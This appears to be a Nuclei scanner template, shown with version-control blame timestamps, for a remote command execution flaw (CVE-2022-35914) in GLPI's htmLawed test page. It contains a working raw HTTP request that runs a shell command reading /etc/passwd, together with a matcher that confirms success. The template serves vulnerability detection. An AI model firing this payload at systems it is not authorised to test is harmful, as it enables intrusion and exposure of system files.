2022-10-03 12:12:47 +00:00
|
|
|
id: CVE-2022-35914
|
|
|
|
|
|
|
|
info:
|
2022-10-19 21:11:27 +00:00
|
|
|
name: GLPI <=10.0.2 - Remote Command Execution
|
2022-10-03 12:12:47 +00:00
|
|
|
author: For3stCo1d
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2022-10-19 21:11:27 +00:00
|
|
|
GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
|
2022-10-03 12:12:47 +00:00
|
|
|
reference:
|
|
|
|
- https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914
|
|
|
|
- https://github.com/cosad3s/CVE-2022-35914-poc
|
2022-10-03 14:47:16 +00:00
|
|
|
- http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
|
2022-10-19 21:11:27 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-35914
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://github.com/glpi-project/glpi/releases
|
2022-10-03 14:47:16 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2022-35914
|
|
|
|
cwe-id: CWE-74
|
2023-10-22 12:16:24 +00:00
|
|
|
epss-score: 0.96807
|
2023-10-25 06:44:12 +00:00
|
|
|
epss-percentile: 0.99563
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
|
2022-10-03 12:12:47 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: glpi-project
|
|
|
|
product: glpi
|
2023-09-06 11:59:08 +00:00
|
|
|
shodan-query: http.favicon.hash:"-1474875778"
|
2023-03-09 07:50:01 +00:00
|
|
|
tags: cve,cve2022,glpi,rce,kev
|
2022-10-03 12:12:47 +00:00
|
|
|
variables:
|
|
|
|
cmd: "cat+/etc/passwd"
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-10-03 12:12:47 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Cookie: sid=foo
|
|
|
|
|
|
|
|
sid=foo&hhook=exec&text={{cmd}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-25 12:04:43 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100cf9a8b04d515cab1f51c6d7a6aa869eb18562d5a70511260fcecb9c9bbca3a3b022038963fe6bdad0e8e911f781051a3ed04334db7a62f5c43c9def2fb64259fbd3b:922c64590222798bb761d5b6d8e72950
|